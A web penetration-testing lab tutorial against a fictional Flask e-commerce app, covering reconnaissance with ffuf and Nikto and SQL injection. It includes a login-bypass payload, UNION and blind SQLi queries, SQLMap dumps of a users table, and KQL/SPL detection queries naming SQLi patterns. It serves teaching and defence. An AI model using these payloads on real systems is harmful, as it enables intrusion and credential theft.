Skip to content

Lab 20: Web Application Penetration Testing

Chapter: 44 — Web App Pentesting Difficulty: ⭐⭐⭐ Advanced Estimated Time: 4–5 hours Prerequisites: Chapter 22, Chapter 30, Chapter 44, basic HTTP/HTML knowledge


Overview

In this lab you will:

  1. Perform reconnaissance and discovery against a fictional e-commerce web application to enumerate attack surface
  2. Exploit SQL Injection vulnerabilities including classic, UNION-based, and blind SQLi techniques
  3. Discover and exploit Cross-Site Scripting (XSS) across reflected, stored, and DOM-based variants
  4. Chain Server-Side Request Forgery (SSRF) and Insecure Direct Object Reference (IDOR) vulnerabilities
  5. Attack authentication and session management mechanisms including JWT manipulation and CSRF
  6. Write WAF rules and SIEM detection queries (KQL + SPL) for each vulnerability class
  7. Map all findings to OWASP Top 10 categories and MITRE ATT&CK techniques

Synthetic Data Only

All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12) reserved ranges. All domains use *.example.com. No real applications, real credentials, or real infrastructure are referenced. All credentials shown as REDACTED. This lab is for defensive education only — never use these techniques against systems you do not own or without explicit written authorization.


Scenario

Engagement Brief — Pinnacle Commerce

Organization: Pinnacle Commerce (fictional) Application: ShopStream — customer-facing e-commerce platform Target URL: https://shopstream.example.com (SYNTHETIC) API Base: https://api.shopstream.example.com/v2 (SYNTHETIC) Server IP: 198.51.100.10 (SYNTHETIC — RFC 5737) Internal Network: 10.20.0.0/16 (SYNTHETIC) Cloud Provider: AWS (SYNTHETIC — Account ID 123456789012) Engagement Type: Gray-box web application penetration test Scope: All ShopStream web endpoints, API v2, authentication flows Out of Scope: Infrastructure (OS-level), third-party payment processor, DDoS testing Test Window: 2026-03-22 08:00 – 2026-03-24 20:00 UTC Emergency Contact: soc@pinnacle-commerce.example.com (SYNTHETIC)

Summary: Pinnacle Commerce has engaged your penetration testing team to assess the security posture of their ShopStream e-commerce platform ahead of a major product launch. ShopStream is a Python/Flask application with a PostgreSQL database, served behind an Nginx reverse proxy. The application handles customer registration, product browsing, shopping cart, order management, and an admin panel. You have been provided with two test accounts and the application's technology stack overview.


Prerequisites

Test Accounts (Synthetic)

Role Username Password Notes
Standard User testuser REDACTED Regular customer account
Admin User admin REDACTED Administrative panel access

Required Tools

Tool Purpose Version
Burp Suite Community/Pro Proxy, scanner, repeater 2024.x+
SQLMap Automated SQL injection 1.8+
ffuf Web fuzzer / directory brute-forcer 2.1+
Nikto Web server vulnerability scanner 2.5+
curl HTTP request crafting 8.x+
Browser DevTools DOM inspection, JS debugging Any modern browser
jwt_tool JWT analysis and manipulation 2.x+
Wappalyzer Technology fingerprinting Browser extension

Target Architecture (Synthetic)

                    ┌──────────────────────────────┐
                    │        Internet               │
                    └──────────────┬───────────────┘
                    ┌─────────────▼───────────────┐
                    │   Nginx Reverse Proxy        │
                    │   198.51.100.10:443           │
                    │   TLS 1.3                     │
                    └─────────────┬───────────────┘
                    ┌─────────────▼───────────────┐
                    │   Flask App (Gunicorn)        │
                    │   10.20.1.10:8080             │
                    │   ShopStream v3.2.1           │
                    └──────┬──────────┬────────────┘
                           │          │
              ┌────────────▼──┐  ┌────▼────────────┐
              │  PostgreSQL    │  │  Redis Cache     │
              │  10.20.2.10    │  │  10.20.2.20      │
              │  :5432         │  │  :6379            │
              └───────────────┘  └─────────────────┘

Lab Environment Setup

Setting Up Your Proxy

Configure Burp Suite as your intercepting proxy on 127.0.0.1:8080. Ensure your browser trusts the Burp CA certificate. All requests to shopstream.example.com should route through Burp for inspection and replay.

Step 1: Verify Connectivity

# Verify target is reachable (SYNTHETIC)
$ curl -s -o /dev/null -w "%{http_code}" https://shopstream.example.com
200

# Check response headers
$ curl -sI https://shopstream.example.com
HTTP/2 200
server: nginx/1.24.0
content-type: text/html; charset=utf-8
x-powered-by: Gunicorn/21.2.0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
set-cookie: session=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...; HttpOnly; Secure; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains

Step 2: Authenticate and Obtain Session Token

# Login with test credentials (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"REDACTED"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDAxLCJ1c2VybmFtZSI6InRlc3R1c2VyIiwicm9sZSI6ImN1c3RvbWVyIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE_REDACTED",
  "user": {
    "id": 1001,
    "username": "testuser",
    "role": "customer",
    "email": "testuser@example.com"
  }
}

Exercise 1: Reconnaissance & Discovery

Objective

Enumerate the ShopStream application's attack surface by discovering hidden endpoints, identifying technologies in use, reviewing publicly accessible configuration files, and mapping the application's functionality. Build a comprehensive target profile before active exploitation.

1.1 Technology Fingerprinting

Step 1: HTTP Header Analysis

Analyze HTTP response headers to identify the technology stack, framework versions, and security headers in use.

# Detailed header inspection (SYNTHETIC)
$ curl -sI https://shopstream.example.com | grep -i "server\|x-powered\|x-frame\|content-security\|x-content\|strict"

server: nginx/1.24.0
x-powered-by: Gunicorn/21.2.0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
strict-transport-security: max-age=31536000; includeSubDomains

Missing Security Headers

Note the absence of Content-Security-Policy and Permissions-Policy headers. The X-Powered-By header leaks the backend framework (Gunicorn), confirming a Python-based stack. The X-Frame-Options: SAMEORIGIN allows framing from the same origin, which may be relevant for clickjacking scenarios.

Step 2: Wappalyzer-Style Technology Fingerprinting

Analyze page source, scripts, and cookies to build a technology profile.

# Extract technology indicators from page source (SYNTHETIC)
$ curl -s https://shopstream.example.com | grep -oP '(src|href)="[^"]*"' | head -20

src="/static/js/jquery-3.6.4.min.js"
src="/static/js/bootstrap-5.3.2.min.js"
src="/static/js/shopstream-app.js"
src="/static/js/cart-handler.js"
href="/static/css/bootstrap-5.3.2.min.css"
href="/static/css/shopstream-theme.css"
src="/static/js/vue-3.3.4.min.js"
href="/static/fonts/fontawesome-6.4.0/css/all.min.css"
Technology Profile (Expected Output)
Component Technology Version Source
Web Server Nginx 1.24.0 HTTP headers
App Server Gunicorn 21.2.0 X-Powered-By header
Framework Flask Unknown Error pages, cookie names
Database PostgreSQL Unknown Error messages (later)
Frontend jQuery 3.6.4 Script include
CSS Framework Bootstrap 5.3.2 CSS/JS includes
JS Framework Vue.js 3.3.4 Script include
Icons Font Awesome 6.4.0 CSS include
Session JWT (HS256) Cookie inspection
Cache Redis Unknown Architecture doc

1.2 Robots.txt and Sitemap Review

Step 3: Check robots.txt and sitemap.xml

# Retrieve robots.txt (SYNTHETIC)
$ curl -s https://shopstream.example.com/robots.txt

User-agent: *
Disallow: /admin/
Disallow: /api/v2/internal/
Disallow: /debug/
Disallow: /backup/
Disallow: /staging/
Sitemap: https://shopstream.example.com/sitemap.xml

# Retrieve sitemap (SYNTHETIC)
$ curl -s https://shopstream.example.com/sitemap.xml | head -30

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <url><loc>https://shopstream.example.com/</loc></url>
  <url><loc>https://shopstream.example.com/products</loc></url>
  <url><loc>https://shopstream.example.com/categories</loc></url>
  <url><loc>https://shopstream.example.com/deals</loc></url>
  <url><loc>https://shopstream.example.com/about</loc></url>
  <url><loc>https://shopstream.example.com/contact</loc></url>
  <url><loc>https://shopstream.example.com/faq</loc></url>
  <url><loc>https://shopstream.example.com/blog</loc></url>
  <url><loc>https://shopstream.example.com/account/login</loc></url>
  <url><loc>https://shopstream.example.com/account/register</loc></url>
</urlset>

Key Findings from robots.txt

The robots.txt reveals several interesting paths that the application wants hidden from search engines: /admin/, /api/v2/internal/, /debug/, /backup/, and /staging/. These are not access controls — robots.txt is advisory only. Each of these paths should be enumerated.

1.3 Directory Brute-Forcing

Step 4: Directory Enumeration with ffuf

# Directory brute-force with ffuf (SYNTHETIC)
$ ffuf -u https://shopstream.example.com/FUZZ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -mc 200,301,302,403 \
  -fc 404 \
  -t 50 \
  -o ffuf-results.json \
  -of json

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : https://shopstream.example.com/FUZZ
 :: Wordlist         : FUZZ: directory-list-2.3-medium.txt
 :: Output file      : ffuf-results.json
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200,301,302,403
 :: Filter           : Response status: 404
________________________________________________

products                [Status: 200, Size: 14523, Words: 1247]
admin                   [Status: 302, Size: 0, Words: 0]
api                     [Status: 200, Size: 892, Words: 67]
static                  [Status: 301, Size: 0, Words: 0]
account                 [Status: 302, Size: 0, Words: 0]
cart                    [Status: 302, Size: 0, Words: 0]
checkout                [Status: 302, Size: 0, Words: 0]
debug                   [Status: 403, Size: 274, Words: 14]
backup                  [Status: 403, Size: 274, Words: 14]
staging                 [Status: 200, Size: 8921, Words: 743]
uploads                 [Status: 301, Size: 0, Words: 0]
health                  [Status: 200, Size: 45, Words: 3]
metrics                 [Status: 200, Size: 12847, Words: 534]
graphql                 [Status: 200, Size: 1204, Words: 89]
swagger                 [Status: 200, Size: 34521, Words: 4523]
:: Progress: [220546/220546] :: Job [1/1] :: 1250 req/sec :: Duration: [0:02:56] :: Errors: 0 ::

Step 5: API Endpoint Enumeration

# Enumerate API v2 endpoints (SYNTHETIC)
$ ffuf -u https://shopstream.example.com/api/v2/FUZZ \
  -w /usr/share/wordlists/api/api-endpoints.txt \
  -mc 200,201,401,403,405 \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1Qi..." \
  -t 30

users                   [Status: 401, Size: 67, Words: 5]
users/me                [Status: 200, Size: 342, Words: 23]
products                [Status: 200, Size: 45123, Words: 3456]
products/search         [Status: 200, Size: 892, Words: 67]
orders                  [Status: 200, Size: 2341, Words: 178]
orders/history          [Status: 200, Size: 1567, Words: 112]
cart                    [Status: 200, Size: 456, Words: 34]
reviews                 [Status: 200, Size: 8934, Words: 678]
coupons/validate        [Status: 405, Size: 89, Words: 6]
admin/users             [Status: 403, Size: 78, Words: 6]
admin/orders            [Status: 403, Size: 78, Words: 6]
admin/analytics         [Status: 403, Size: 78, Words: 6]
internal/health         [Status: 200, Size: 234, Words: 12]
internal/config         [Status: 200, Size: 1456, Words: 89]
upload/image            [Status: 405, Size: 89, Words: 6]
export/orders           [Status: 403, Size: 78, Words: 6]

1.4 Interesting Endpoints Deep-Dive

Step 6: Investigate Exposed Endpoints

# Swagger/OpenAPI documentation exposed (SYNTHETIC)
$ curl -s https://shopstream.example.com/swagger | head -20

<!DOCTYPE html>
<html>
<head><title>ShopStream API v2  Swagger UI</title></head>
<body>
  <div id="swagger-ui"></div>
  <script>
    SwaggerUIBundle({
      url: "/api/v2/openapi.json",
      dom_id: '#swagger-ui'
    })
  </script>
</body>
</html>

# Retrieve OpenAPI spec (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/openapi.json | jq '.paths | keys[]'

"/api/v2/auth/login"
"/api/v2/auth/register"
"/api/v2/auth/reset-password"
"/api/v2/auth/refresh"
"/api/v2/users/{user_id}"
"/api/v2/users/me"
"/api/v2/products"
"/api/v2/products/{product_id}"
"/api/v2/products/search"
"/api/v2/orders"
"/api/v2/orders/{order_id}"
"/api/v2/orders/{order_id}/invoice"
"/api/v2/cart"
"/api/v2/cart/checkout"
"/api/v2/reviews"
"/api/v2/reviews/{review_id}"
"/api/v2/coupons/validate"
"/api/v2/upload/image"
"/api/v2/admin/users"
"/api/v2/admin/orders"
"/api/v2/admin/analytics"
"/api/v2/internal/health"
"/api/v2/internal/config"
"/api/v2/export/orders"

# Internal config endpoint leaking sensitive data (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/internal/config | jq .

{
  "app_name": "ShopStream",
  "version": "3.2.1",
  "environment": "production",
  "debug_mode": false,
  "database": {
    "host": "10.20.2.10",
    "port": 5432,
    "name": "shopstream_prod",
    "user": "app_user"
  },
  "redis": {
    "host": "10.20.2.20",
    "port": 6379
  },
  "jwt_algorithm": "HS256",
  "jwt_expiry": 3600,
  "upload_dir": "/var/www/shopstream/uploads/",
  "max_upload_size": "10MB",
  "allowed_extensions": ["jpg", "jpeg", "png", "gif", "svg"],
  "cloud_metadata_proxy": true,
  "aws_region": "us-east-1"
}

Critical Finding: Internal Configuration Exposed

The /api/v2/internal/config endpoint is accessible without authentication and leaks internal infrastructure details including database hostname, Redis hostname, JWT algorithm, upload directory paths, and cloud metadata proxy status. This is an information disclosure vulnerability (OWASP A01:2021 — Broken Access Control).

1.5 Nikto Scan

Step 7: Run Nikto Scan

# Nikto web server scan (SYNTHETIC)
$ nikto -h https://shopstream.example.com -o nikto-report.html -Format htm

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          198.51.100.10
+ Target Hostname:    shopstream.example.com
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=shopstream.example.com
                   Ciphers:  TLS_AES_256_GCM_SHA384
                   Issuer:   /C=US/O=Let's Encrypt/CN=R3
+ Start Time:         2026-03-22 08:15:00 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx/1.24.0
+ /: X-Powered-By header found: Gunicorn/21.2.0
+ /: Missing Content-Security-Policy header.
+ /: Missing Permissions-Policy header.
+ /admin/: Admin login page found.
+ /swagger/: Swagger API documentation found.
+ /staging/: Staging environment accessible from production.
+ /metrics: Application metrics endpoint publicly accessible.
+ /health: Health check endpoint found.
+ /uploads/: Directory listing enabled  may expose uploaded files.
+ /static/: Directory listing enabled.
+ /.git/HEAD: Git repository metadata found (information disclosure).
+ /api/v2/internal/config: Internal configuration endpoint accessible.
+ 7 findings identified.
---------------------------------------------------------------------------
+ End Time: 2026-03-22 08:17:34 (GMT0) (154 seconds)
---------------------------------------------------------------------------
Reconnaissance Summary
Finding Severity OWASP Category Path
Swagger/OpenAPI exposed Medium A01 — Broken Access Control /swagger
Internal config leaking infra details High A01 — Broken Access Control /api/v2/internal/config
Git metadata exposed High A05 — Security Misconfiguration /.git/HEAD
Staging environment accessible Medium A05 — Security Misconfiguration /staging/
Application metrics public Low A05 — Security Misconfiguration /metrics
Directory listing on uploads Medium A05 — Security Misconfiguration /uploads/
Missing CSP header Medium A05 — Security Misconfiguration All pages
Missing Permissions-Policy Low A05 — Security Misconfiguration All pages
Server version disclosure Low A05 — Security Misconfiguration HTTP headers

1.6 Remediation — Reconnaissance Findings

Remediation Recommendations

  1. Remove or restrict /api/v2/internal/* endpoints — bind to internal network only or require admin authentication
  2. Remove .git/ directory from web root or block access via Nginx: location ~ /\.git { deny all; }
  3. Disable Swagger in production — serve only in development/staging environments
  4. Add security headers: Content-Security-Policy, Permissions-Policy, remove X-Powered-By
  5. Restrict /staging/ — require VPN or IP allowlist
  6. Disable directory listing in Nginx: autoindex off;
  7. Restrict /metrics to internal monitoring systems only

1.7 Detection Opportunities — Reconnaissance

-- KQL: Detect directory brute-forcing (high volume 404s from single IP)
W3CIISLog
| where TimeGenerated > ago(15m)
| where scStatus == 404
| summarize Count404 = count(), DistinctPaths = dcount(csUriStem) by cIP
| where Count404 > 100 and DistinctPaths > 50
| project cIP, Count404, DistinctPaths
| sort by Count404 desc
-- KQL: Detect access to sensitive paths
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUriStem has_any (".git", "/internal/", "/debug/", "/swagger",
                            "/backup/", "/staging/", "/metrics")
| project TimeGenerated, cIP, csMethod, csUriStem, scStatus, csUserAgent
| sort by TimeGenerated desc
// SPL: Detect directory brute-forcing
index=web sourcetype=access_combined
| bin _time span=15m
| stats count as request_count dc(uri_path) as unique_paths by src_ip, _time
| where request_count > 100 AND unique_paths > 50
| sort -request_count
// SPL: Detect sensitive path access
index=web sourcetype=access_combined
  (uri_path="*/.git/*" OR uri_path="*/internal/*" OR uri_path="*/debug/*"
   OR uri_path="*/swagger*" OR uri_path="*/backup/*" OR uri_path="*/staging/*")
| stats count by src_ip, uri_path, status
| sort -count

Exercise 2: SQL Injection (SQLi)

Objective

Identify and exploit SQL Injection vulnerabilities in the ShopStream application. Demonstrate classic SQLi in the login form, UNION-based data extraction, blind SQLi techniques, and automated exploitation with SQLMap. Extract synthetic database contents to prove impact, then provide remediation guidance.

OWASP Category: A03:2021 — Injection MITRE ATT&CK: T1190 (Exploit Public-Facing Application)

2.1 Classic SQL Injection — Login Bypass

Step 1: Identify Injectable Parameter

Test the login form for SQL injection by submitting authentication requests with SQL metacharacters.

# Normal login request (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","password":"REDACTED"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1Qi...",
  "user": {"id": 1001, "username": "testuser", "role": "customer"}
}
# Test for SQL injection with single quote (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser'\''","password":"anything"}' | jq .

{
  "status": "error",
  "message": "An unexpected error occurred",
  "detail": "ProgrammingError: unterminated quoted string at or near \"'testuser''\" LINE 1: ...FROM users WHERE username = 'testuser'' AND password_hash = ..."
}

SQL Injection Confirmed

The error response reveals the raw SQL query structure and confirms the backend database is PostgreSQL. The application is constructing SQL queries via string concatenation rather than parameterized queries. The leaked query fragment shows: SELECT ... FROM users WHERE username = '<input>' AND password_hash = ...

Step 2: Authentication Bypass via SQLi

# SQLi authentication bypass (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin'\'' OR 1=1 --","password":"anything"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzExMTUwMDAwfQ.SYNTHETIC_SIGNATURE_REDACTED",
  "user": {
    "id": 1,
    "username": "admin",
    "role": "admin",
    "email": "admin@pinnacle-commerce.example.com"
  }
}

Impact: Full Authentication Bypass

The injected payload admin' OR 1=1 -- causes the SQL query to evaluate as WHERE username = 'admin' OR 1=1. The -- comments out the password check. The application returns an admin JWT token, granting full administrative access.

Vulnerable query (conceptual):

-- INSECURE (string concatenation)
SELECT * FROM users WHERE username = '{input}' AND password_hash = '{hash}'

-- After injection:
SELECT * FROM users WHERE username = 'admin' OR 1=1 --' AND password_hash = '...'

2.2 UNION-Based SQL Injection

Step 3: Determine Column Count

The product search endpoint is also vulnerable. Use ORDER BY to determine the number of columns in the result set.

# Determine number of columns via ORDER BY (SYNTHETIC)
# ORDER BY 1 — OK
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+1--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.status'
"success"

# ORDER BY 7 — OK
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+7--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.status'
"success"

# ORDER BY 8 — ERROR (column count is 7)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+ORDER+BY+8--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq .

{
  "status": "error",
  "message": "An unexpected error occurred",
  "detail": "ORDER BY position 8 is not in select list"
}

Step 4: UNION-Based Data Extraction

# Extract database version and current user (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,version(),current_user,4,5,6,7--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[0]'

{
  "id": 1,
  "name": "PostgreSQL 15.4 on x86_64-pc-linux-gnu",
  "description": "app_user",
  "price": 4,
  "category": 5,
  "image_url": 6,
  "rating": 7
}
# Enumerate database tables (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,table_name,table_schema,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema='public'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[].name'

"users"
"products"
"orders"
"order_items"
"reviews"
"coupons"
"sessions"
"password_resets"
"admin_audit_log"
"payment_methods"
# Enumerate columns in users table (SYNTHETIC)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+1,column_name,data_type,4,5,6,7+FROM+information_schema.columns+WHERE+table_name='users'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[] | {column: .name, type: .description}'

{"column": "id", "type": "integer"}
{"column": "username", "type": "character varying"}
{"column": "email", "type": "character varying"}
{"column": "password_hash", "type": "character varying"}
{"column": "role", "type": "character varying"}
{"column": "full_name", "type": "character varying"}
{"column": "created_at", "type": "timestamp without time zone"}
{"column": "last_login", "type": "timestamp without time zone"}
{"column": "mfa_secret", "type": "character varying"}
{"column": "api_key", "type": "character varying"}
# Extract user credentials (SYNTHETIC — all data fictional)
$ curl -s "https://shopstream.example.com/api/v2/products/search?q='+UNION+SELECT+id,username,email,password_hash,role,full_name,7+FROM+users+LIMIT+5--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results[] | {id, username: .name, email: .description, hash: .price, role: .category}'

{"id": 1, "username": "admin", "email": "admin@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "admin"}
{"id": 2, "username": "warehouse_mgr", "email": "warehouse@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "manager"}
{"id": 3, "username": "support_agent", "email": "support@pinnacle-commerce.example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "support"}
{"id": 1001, "username": "testuser", "email": "testuser@example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "customer"}
{"id": 1002, "username": "jane_doe", "email": "jane@example.com", "hash": "$2b$12$SYNTHETIC_BCRYPT_HASH_REDACTED", "role": "customer"}

2.3 Blind SQL Injection

Step 5: Boolean-Based Blind SQLi

When the application does not return query results directly, blind techniques infer data one character at a time.

# Boolean-based blind SQLi — test if admin password hash starts with '$2b' (SYNTHETIC)
# TRUE condition — normal results returned
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+SUBSTRING(password_hash,1,3)+FROM+users+WHERE+username='admin')='\$2b'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results | length'
12

# FALSE condition — no results returned
$ curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+SUBSTRING(password_hash,1,3)+FROM+users+WHERE+username='admin')='xxx'--" \
  -H "Authorization: Bearer eyJ0eXAi..." | jq '.results | length'
0

Step 6: Time-Based Blind SQLi

# Time-based blind SQLi — if admin exists, delay 5 seconds (SYNTHETIC)
$ time curl -s "https://shopstream.example.com/api/v2/products/search?q=laptop'+AND+(SELECT+CASE+WHEN+(SELECT+count(*)+FROM+users+WHERE+role='admin')>0+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END)--" \
  -H "Authorization: Bearer eyJ0eXAi..." -o /dev/null

real    0m5.127s    # 5-second delay confirms admin user exists
user    0m0.012s
sys     0m0.008s

2.4 Automated Exploitation with SQLMap

Step 7: SQLMap Automated Scan

# SQLMap against the search endpoint (SYNTHETIC)
$ sqlmap -u "https://shopstream.example.com/api/v2/products/search?q=test" \
  --headers="Authorization: Bearer eyJ0eXAi..." \
  --dbms=PostgreSQL \
  --level=3 --risk=2 \
  --batch \
  --threads=5 \
  --output-dir=./sqlmap-output

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
    consent is illegal. It is the end user's responsibility to obey applicable laws.

[08:25:01] [INFO] testing connection to the target URL
[08:25:01] [INFO] checking if the target is protected by some kind of WAF/IPS
[08:25:02] [INFO] testing if the target URL content is stable
[08:25:02] [INFO] target URL content is stable
[08:25:02] [INFO] testing if GET parameter 'q' is dynamic
[08:25:02] [INFO] GET parameter 'q' appears to be dynamic
[08:25:02] [INFO] heuristic (basic) test shows that GET parameter 'q' might be injectable (possible DBMS: 'PostgreSQL')
[08:25:03] [INFO] testing for SQL injection on GET parameter 'q'
[08:25:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[08:25:04] [INFO] GET parameter 'q' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[08:25:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[08:25:05] [INFO] GET parameter 'q' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable
[08:25:05] [INFO] testing 'PostgreSQL UNION query (NULL) - 1 to 20 columns'
[08:25:06] [INFO] GET parameter 'q' is 'PostgreSQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: q (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=test' AND 5765=5765 AND 'test'='test

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: q=test';SELECT PG_SLEEP(5)--

    Type: UNION query
    Title: PostgreSQL UNION query (NULL) - 7 columns
    Payload: q=test' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL--

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: q=test' AND 5765=5765 AND pg_sleep(5) AND 'test'='test
---
[08:25:06] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL 15.4
# Dump users table with SQLMap (SYNTHETIC)
$ sqlmap -u "https://shopstream.example.com/api/v2/products/search?q=test" \
  --headers="Authorization: Bearer eyJ0eXAi..." \
  --dbms=PostgreSQL \
  -D shopstream_prod -T users \
  --dump --batch \
  --threads=5

Database: shopstream_prod
Table: users
[5 entries]
+------+----------------+------------------------------------------+----------+------------------------------------+
| id   | username       | email                                    | role     | password_hash                      |
+------+----------------+------------------------------------------+----------+------------------------------------+
| 1    | admin          | admin@pinnacle-commerce.example.com      | admin    | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 2    | warehouse_mgr  | warehouse@pinnacle-commerce.example.com  | manager  | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 3    | support_agent  | support@pinnacle-commerce.example.com    | support  | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 1001 | testuser       | testuser@example.com                     | customer | $2b$12$SYNTHETIC_HASH_REDACTED     |
| 1002 | jane_doe       | jane@example.com                         | customer | $2b$12$SYNTHETIC_HASH_REDACTED     |
+------+----------------+------------------------------------------+----------+------------------------------------+

2.5 Remediation — SQL Injection

Remediation Recommendations

  1. Use parameterized queries / prepared statements — never concatenate user input into SQL:
    # SECURE — parameterized query
    cursor.execute(
        "SELECT * FROM users WHERE username = %s AND password_hash = %s",
        (username, password_hash)
    )
    
    # INSECURE — string concatenation (vulnerable)
    # cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")
    
  2. Use an ORM (SQLAlchemy, Django ORM) to abstract SQL construction
  3. Apply least privilege — database user should only have SELECT/INSERT/UPDATE on required tables, never DROP or GRANT
  4. Implement input validation — reject SQL metacharacters in usernames, apply allowlist patterns
  5. Deploy a Web Application Firewall (WAF) with SQL injection rule sets
  6. Disable verbose error messages in production — return generic error responses
  7. Regular security testing — integrate SQLi detection into CI/CD pipeline

2.6 Detection Opportunities — SQL Injection

-- KQL: Detect SQL injection attempts in web logs
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUriQuery matches regex @"(?i)(union\s+select|or\s+1\s*=\s*1|'\s*(or|and)\s+|;\s*select|pg_sleep|information_schema|drop\s+table)"
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, scStatus, csUserAgent
| sort by TimeGenerated desc
-- KQL: Detect SQLMap user agent
W3CIISLog
| where TimeGenerated > ago(1h)
| where csUserAgent contains "sqlmap" or csUserAgent contains "Havij"
| summarize Count = count(), Endpoints = make_set(csUriStem) by cIP, csUserAgent
| sort by Count desc
-- KQL: Detect database error messages in responses (verbose errors)
AppServiceHTTPLogs
| where TimeGenerated > ago(1h)
| where ScStatus >= 500
| where ResponseBody has_any ("ProgrammingError", "syntax error", "unterminated",
                               "SQL", "ORA-", "ODBC", "postgresql", "mysql")
| project TimeGenerated, CIp, CsUriStem, ScStatus, ResponseBody
// SPL: Detect SQL injection patterns in web traffic
index=web sourcetype=access_combined
| eval sqli_pattern=if(match(uri_query, "(?i)(union\s+select|or\s+1\s*=\s*1|'\s*(or|and)|;\s*select|pg_sleep|information_schema)"), 1, 0)
| where sqli_pattern=1
| stats count by src_ip, uri_path, uri_query
| sort -count
// SPL: Detect SQLMap user agent strings
index=web sourcetype=access_combined
  (useragent="*sqlmap*" OR useragent="*Havij*" OR useragent="*Nikto*")
